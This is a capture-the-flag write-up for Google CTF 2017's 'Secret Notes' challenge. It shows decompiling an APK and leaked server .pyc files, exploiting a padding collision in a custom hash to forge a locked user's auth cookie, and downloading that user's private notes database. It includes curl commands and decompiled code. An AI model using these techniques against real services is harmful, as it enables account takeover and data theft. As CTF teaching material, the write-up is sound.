# [Google CTF 2017](https://capturetheflag.withgoogle.com) : Secret Notes
**Category:** Miscellaneous**Points:** 180 (dynamic)**Solves:** 61**Difficulty:** Medium**Description:**
> YASCNSS (Yet another secure cloud notes storage solution).> > Hint: pyc> > Challenge running at https://notes-server-m8tv5txzzohwiznk.web.ctfcompetition.com/> > * [NotesApp.apk](./NotesApp.apk)
## writeup
The challenge server URL seems to be a simple web interface(labelled "MemoEye Backup"), the attached `.apk` is probablya client for the service. Maybe getting unauthorized accesssomehow to a specific account leaks confidential information(e.g. the flag).
The challenge had been solved in the great team[OpenToAll](https://ctftime.org/team/9135).The team finished 30th in the competition.
The key step for solving this challenge was found byone of our team members, [vakzz](https://wbowling.info/).
### exploring the challenge
Opening the challenge URL shows a simple registration form:
![MemoEyes Backup registration](./screenshots/regform.png)
Registering gives some kind of access token:
![MemoEyes Backup registered](./screenshots/accesstoken.png)
The access token seems to be formatted as `aaa-bbb` where`aaa` is the account username (hex encoded), `bbb` is probablysome hash value.
### getting API endpoints
The client app `NotesApp.apk` should contain API endpoint URLsfor interacting with the server. Let us try to extract them.
After decompiling with[jadx - Dex to Java decompiler](https://github.com/skylot/jadx),browsing the source code quickly draws attention tomethod `downloadDb` in class `MainActivity`:
```javapublic class MainActivity extends Activity {
    ...
    public void downloadDb() {        final MainActivity parent = this;        Volley.newRequestQueue(this).add(new StringRequest(0, getString(R.string.host_url) + "/private", new Listener<String>() {            public void onResponse(String response) {                try {                    OutputStream outWriter = new FileOutputStream(new File("/data/data/com.google.notesapp/databases/notes.db"));                    outWriter.write(Base64.decode(response.getBytes(), 0));                    outWriter.flush();                    outWriter.close();                    parent.populateList();                    Toast.makeText(MainActivity.this, "DB downloaded!!!", 0).show();                } catch (Exception e) {                    Log.e("Mine", e.getStackTrace().toString());                }            }        }, new ErrorListener() {            public void onErrorResponse(VolleyError error) {                Log.d("Mine", error.toString());            }        }) {            public Map<String, String> getHeaders() {                SharedPreferences prefs = MainActivity.this.getSharedPreferences(MainActivity.this.getString(R.string.saved_auth), 0);                Map<String, String> header = new HashMap();                header.put("cookie", "auth=" + prefs.getString("auth", ""));                return header;            }        });    }
    ...}```
So in order to get the db stored on the server, the URL `/private`should be requested, authenticated by the cookie `auth`.
Note, that `LoginActivity.register()` uses the URL endpoint `/register`with POST parameter `username` (as hex encoded string).This API call returns the `aaa-bbb` format access token (if success,username must be unique!).
### information leak: server side code
Let us now explore the HTTP headers:
```$ curl https://notes-server-m8tv5txzzohwiznk.web.ctfcompetition.com/ -IHTTP/2 200 x-served-by: index.pydate: Sun, 25 Jun 2017 12:12:41 GMTexpires: Sun, 25 Jun 2017 12:22:41 GMTetag: "HRNRyw"x-cloud-trace-context: b816262e0f5a9cffbfbc8296c9694ddccontent-type: text/htmlserver: Google Frontendcache-control: public, max-age=600content-length: 507age: 3```
Note the `x-served-by: index.py` header. This may mean thatthe service engine is a Python script called `index.py`.If there is a Python script, there may be `.pyc` compiledPython code as well (in particular, that we have the hint above ;) ).
```$ wget https://notes-server-m8tv5txzzohwiznk.web.ctfcompetition.com/index.pyc--2017-06-25 14:16:42--  https://notes-server-m8tv5txzzohwiznk.web.ctfcompetition.com/index.pycResolving notes-server-m8tv5txzzohwiznk.web.ctfcompetition.com... 216.239.38.21, 216.239.32.21, 216.239.34.21, ...Connecting to notes-server-m8tv5txzzohwiznk.web.ctfcompetition.com|216.239.38.21|:443... connected.HTTP request sent, awaiting response... 200 OKLength: unspecified [application/x-python-code]Saving to: 'index.pyc'
index.pyc                    [ <=>                            ]   5.77K  --.-KB/s    in 0.002s  
2017-06-25 14:16:42 (3.45 MB/s) - 'index.pyc' saved [5911]```
Great! We have the compiled Python bytecode of the server side code.It would be much more better to have the source, not just the compiledbytecode.
### decompiling Python bytecode
Decompiling is not difficult using e.g.[pycdc](https://github.com/zrax/pycdc):
```$ git clone https://github.com/zrax/pycdcCloning into 'pycdc'...remote: Counting objects: 1185, done.remote: Total 1185 (delta 0), reused 0 (delta 0), pack-reused 1185Receiving objects: 100% (1185/1185), 305.48 KiB | 581.00 KiB/s, done.Resolving deltas: 100% (713/713), done.$ cd pycdc$ cmake ....$ make...$ cd ..$ ./pycdc/pycdc index.pyc > index.py```
Source `index.py` is now available:```python# Source Generated with Decompyle++# File: index.pyc (Python 2.7)
import osimport reimport sysfrom hasher import ZXHashimport webapp2import loggingimport secretsfrom google.appengine.ext import ndbhexre = re.compile('^[a-fA-F0-9]+$')pathre = re.compile('^[\\w_\\-/\\.]+$')
class PrivateNote(ndb.Model):    content = ndb.StringProperty()     def get_by_user(cls, user):        cls.query().filter(cls.user == user).get()
    get_by_user = classmethod(get_by_user)     def get_by_id(identifier):        key = ndb.Key(PrivateNote, identifier)        return key.get()
    get_by_id = staticmethod(get_by_id)
class Utils(object):     def reply(response, code, msg, mime = 'text/html'):        response.status = code        response.headers.add('X-Served-By', 'index.py')        response.content_type = mime        response.write(msg)
    reply = staticmethod(reply)     def parse_urlform(form, delim = ';'):        data = form.split(delim)        results = dict()        for datum in data:             try:                (key, value) = datum.split('=')                results[key.strip()] = value.strip()            continue            continue            continue
         return results
    parse_urlform = staticmethod(parse_urlform)     def get_user(headers, hasher):        results = Utils.parse_urlform(headers['cookie'])         try:            if results['auth']:                (user, hmac) = results['auth'].split('-')                if hexre.match(user) and hexre.match(hmac) and hasher.hash(user.strip()) == hmac.strip():                    return (user.strip(), hmac.strip())        except:            pass
        return (None, None)
    get_user = staticmethod(get_user)
class HealthCheckHandler(webapp2.RequestHandler):     def get(self):        self.response.status = 200
class ValidateHandler(webapp2.RequestHandler):     def get(self):        (user, _) = Utils.get_user(self.request.headers, hasher)        if not user:            return Utils.reply(self.response, 401, 'Bad Authentication')        return None.reply(self.response, 200, user)
class PrivateNote(ndb.Model):    content = ndb.TextProperty()     def get_by_user(cls, user):        cls.query().filter(cls.user == user).get()
    get_by_user = classmethod(get_by_user)     def get_by_id(identifier):        key = ndb.Key(PrivateNote, identifier)        return key.get()
    get_by_id = staticmethod(get_by_id)
class RegisterHandler(webapp2.RequestHandler):     def post(self):        data = Utils.parse_urlform(self.request.body, '&')        value = data['username']        logging.warning('value: [' + str(value) + ']')        if len(value) > 64:            return Utils.reply(self.response, 400, 'Limit Username to 32 Characters')        if None and hexre.match(value):            note = PrivateNote.get_by_id(value)            logging.warning('note: ' + str(note))            if note:                return Utils.reply(self.response, 403, 'User already Exists')            hashed = None.hash(value)            self.response.status = 200            self.response.headers.add('X-Served-By', 'index.py')            self.response.headers.add('Content-Type', 'text/plain')            self.response.headers.add('Set-Cookie', 'auth=' + value + '-' + hashed)            self.response.write(value + '-' + hashed)            PrivateNote(id = value, content = '').put()            return None        logging.warning('Bad request? ' + str(value))        return Utils.reply(self.response, 400, 'Bad Request!')
class PrivateNoteHandler(webapp2.RequestHandler):     def get(self):        (user, _) = Utils.get_user(self.request.headers, hasher)        if user:            note = PrivateNote.get_by_id(user)            if note:                return Utils.reply(self.response, 200, note.content, 'application/octet-stream')            return None.reply(self.response, 404, 'File Not Found')        return Utils.reply(self.response, 401, 'Bad Authentication')
     def post(self):        (user, _) = Utils.get_user(self.request.headers, hasher)        if user:            if user in locked:                return Utils.reply(self.response, 403, 'User is Locked')            note = None.get_by_id(user)            if not note:                note = PrivateNote(id = user)            note.content = self.request.body            note.put()            return Utils.reply(self.response, 200, 'Success')        return None.reply(self.response, 401, 'Bad Authentication')
(key1, key2, db) = secrets.get()locked_id = '436f7267316c3076657239393c332121'locked = list()locked.append(locked_id)hasher = ZXHash(key1.encode('hex'), key2)note = PrivateNote.get_by_id(locked_id)if not note:    note = PrivateNote(id = locked_id, content = db)else:    note.content = dbnote.put()```
The `locked_id` should be the name of the user whoowns the sensitive db (it is `Corg1l0ver99<3!!` hex decoded).
In order to authenticate as `Corg1l0ver99<3!!`, the hashvalue must be known. It is calculated by `hasher.ZXHash`.The class `ZXHash` is initialized with two secret keys,then the method `ZXHash.hash` seems to calculatethe hash value from the username.
So the challenge is to get the hash value of`Corg1l0ver99<3!!` somehow. Btw, if we try to registeras `Corg1l0ver99<3!!`, we could get the hash:
```$ curl https://notes-server-m8tv5txzzohwiznk.web.ctfcompetition.com/register -XPOST -d 'username=436f7267316c3076657239393c332121' User already Exists```
Of course the user exists, and we can not register andcan not get the hash value. Yet. :)
### vulnerable hasher function
Looking at `index.py`, it imports `ZXHash` as`from hasher import ZXHash`. Maybe `hasher.py`is available in the webroot:
```$ wget https://notes-server-m8tv5txzzohwiznk.web.ctfcompetition.com/hasher.py--2017-06-25 15:03:14--  https://notes-server-m8tv5txzzohwiznk.web.ctfcompetition.com/hasher.pyResolving notes-server-m8tv5txzzohwiznk.web.ctfcompetition.com... 216.239.34.21, 216.239.36.21, 216.239.38.21, ...Connecting to notes-server-m8tv5txzzohwiznk.web.ctfcompetition.com|216.239.34.21|:443... connected.HTTP request sent, awaiting response... 404 Not Found2017-06-25 15:03:15 ERROR 404: Not Found.```
404, but do not give it up ;) :```$ wget https://notes-server-m8tv5txzzohwiznk.web.ctfcompetition.com/hasher.pyc--2017-06-25 15:03:42--  https://notes-server-m8tv5txzzohwiznk.web.ctfcompetition.com/hasher.pycResolving notes-server-m8tv5txzzohwiznk.web.ctfcompetition.com... 216.239.32.21, 216.239.34.21, 216.239.36.21, ...Connecting to notes-server-m8tv5txzzohwiznk.web.ctfcompetition.com|216.239.32.21|:443... connected.HTTP request sent, awaiting response... 200 OKLength: unspecified [application/x-python-code]Saving to: 'hasher.pyc'
hasher.pyc                   [ <=>                            ]   1.67K  --.-KB/s    in 0s      
2017-06-25 15:03:42 (42.2 MB/s) - 'hasher.pyc' saved [1708]```
Nice, we have the compiled bytecode. Decompiling:```$ ./pycdc/pycdc hasher.pyc > hasher.py```
The source `hasher.py`:```python# Source Generated with Decompyle++# File: hasher.pyc (Python 2.7)
import sysfrom binascii import unhexlify, hexlifyfrom hashlib import md5
def string_to_int(string):    out = 0    for c in string:        out <<= 8        out |= ord(c)     return out
def int_to_string(integer):    out = ''    while integer > 0:        out = chr(integer & 255) + out        integer >>= 8    return out
class ZXHash:    key1 = None    key2 = None     def __init__(self, key1, key2):        self.key1 = key1        self.key2 = key2
     def hash(self, inp):        string = self.key1 + inp        string = string + (64 - len(string) % 64) * '0'        value = int(string, 16)        s = 0        while value > 0:            s = s ^ value & pow(2, 256) - 1            value = value >> 256        b4 = s & pow(2, 64) - 1        s = s >> 64        b3 = s & pow(2, 64) - 1        s = s >> 64        b2 = s & pow(2, 64) - 1        s = s >> 64        b1 = s & pow(2, 64) - 1        hsh = md5(int_to_string(b4)).digest()[:8]        m = string_to_int(hsh)        b3 = b3 % m        e = pow(self.key2, 128 + b3, m)        return hex((b1 ^ b2 ^ e) % m)[2:-1]
```
The `ZXHash.hash` function has a serious collisionvulnerability in the padding (which was found by[vakzz](https://wbowling.info/)):
```pythonstring = string + (64 - len(string) % 64) * '0'```
This means that the hash value of`436f7267316c3076657239393c332121` (length 32)is exactly the same as the hash value of`"436f7267316c3076657239393c332121" + "00"*i`where `0<i<=16`.
### getting the auth hash and the private db
So if we try to register as (probably still unregisteredusers) `436f7267316c3076657239393c33212100`or `436f7267316c3076657239393c3321210000` (etc.), we shallhave the same hash value as the registered`436f7267316c3076657239393c332121`. ;)
```$ curl https:/txzzohwiznk.web.ctfcompetition.com/register -XPOST -d 'username=436f7267316c3076657239393c332121000000000000000000000'436f7267316c3076657239393c332121000000000000000000000-32e77228f277ba31```
Great, the hash value of user `Corg1l0ver99<3!!`leaked: `32e77228f277ba31`. Now getting the db is just a GETrequest to the appropriate API endpoint:
```$ curl https://notes-server-m8tv5txzzohwiznk.web.ctfcompetition.com/private -b 'auth=436f7267316c3076657239393c332121-32e77228f277ba31' | base64 -d > notes.db  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                 Dload  Upload   Total   Spent    Left  Speed100 60867  100 60867    0     0   184k      0 --:--:-- --:--:-- --:--:--  186k$ file notes.db notes.db: SQLite 3.x database, user version 6, last written using SQLite version 3008002```
Nice, the private `notes.db` file had been stolen.
### getting the flag from the db
Now getting the flag is straightforward:
```$ sqlite3 notes.db SQLite version 3.17.0 2017-02-13 16:02:40Enter ".help" for usage hints.sqlite> .tablesDiff              FLAG              Notes           DiffSet           NoteSet           android_metadatasqlite> select * from flag;ctf{with_crypt0_d0nt_ro11_with_it}```
